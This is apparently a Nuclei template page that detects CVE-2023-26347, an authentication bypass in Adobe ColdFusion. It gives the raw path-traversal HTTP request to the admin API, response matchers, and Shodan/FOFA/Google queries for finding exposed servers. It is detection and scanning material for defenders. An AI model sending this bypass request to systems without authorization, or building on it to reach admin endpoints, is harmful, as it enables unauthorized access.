Skip to content
Nuclei Templates

Adobe Coldfusion - Authentication Bypass

ID: CVE-2023-26347

Severity: high

Author: salts

Tags: cve2023,cve,adobe,coldfusion,auth-bypass

Description

Section titled “Description”

Adobe ColdFusion versions 2023.5 (and earlier) and 2021.11 (and earlier) are affected by an Improper Access Control vulnerability that could result in a Security feature bypass. An unauthenticated attacker could leverage this vulnerability to access the administration CFM and CFC endpoints. Exploitation of this issue does not require user interaction.

YAML Source

Section titled “YAML Source”
id: CVE-2023-26347


info:
  name: Adobe Coldfusion - Authentication Bypass
  author: salts
  severity: high
  description: |
    Adobe ColdFusion versions 2023.5 (and earlier) and 2021.11 (and earlier) are affected by an Improper Access Control vulnerability that could result in a Security feature bypass. An unauthenticated attacker could leverage this vulnerability to access the administration CFM and CFC endpoints. Exploitation of this issue does not require user interaction.
  remediation: |
    Update to the latest version of Adobe Coldfusion
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-26347
    - https://helpx.adobe.com/security/products/coldfusion/apsb23-52.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-26347
    cwe-id: CWE-284
    epss-score: 0.00415
    epss-percentile: 0.73972
    cpe: cpe:2.3:a:adobe:coldfusion:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: adobe
    product: coldfusion
    shodan-query:
      - http.component:"Adobe ColdFusion"
      - http.component:"adobe coldfusion"
      - http.title:"coldfusion administrator login"
      - cpe:"cpe:2.3:a:adobe:coldfusion"
    fofa-query:
      - app="Adobe-ColdFusion"
      - app="adobe-coldfusion"
      - title="coldfusion administrator login"
    google-query: intitle:"coldfusion administrator login"
  tags: cve2023,cve,adobe,coldfusion,auth-bypass


http:
  - raw:
      - |
        GET /hax/..CFIDE/adminapi/administrator.cfc?method=getBuildNumber&_cfclient=true HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'wddxPacket version='
          - '<string>'
        condition: and


      - type: status
        status:
          - 200
# digest: 4b0a0048304602210080e18f376d795dc7f4af7cf6279c2d357a5c23f90514d1e39bfefdfd083d13fb022100e76d577d0674d35330653952d82e52aae2036f616d8883e326f01a6d86c5bc35:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-26347.yaml"

View on Github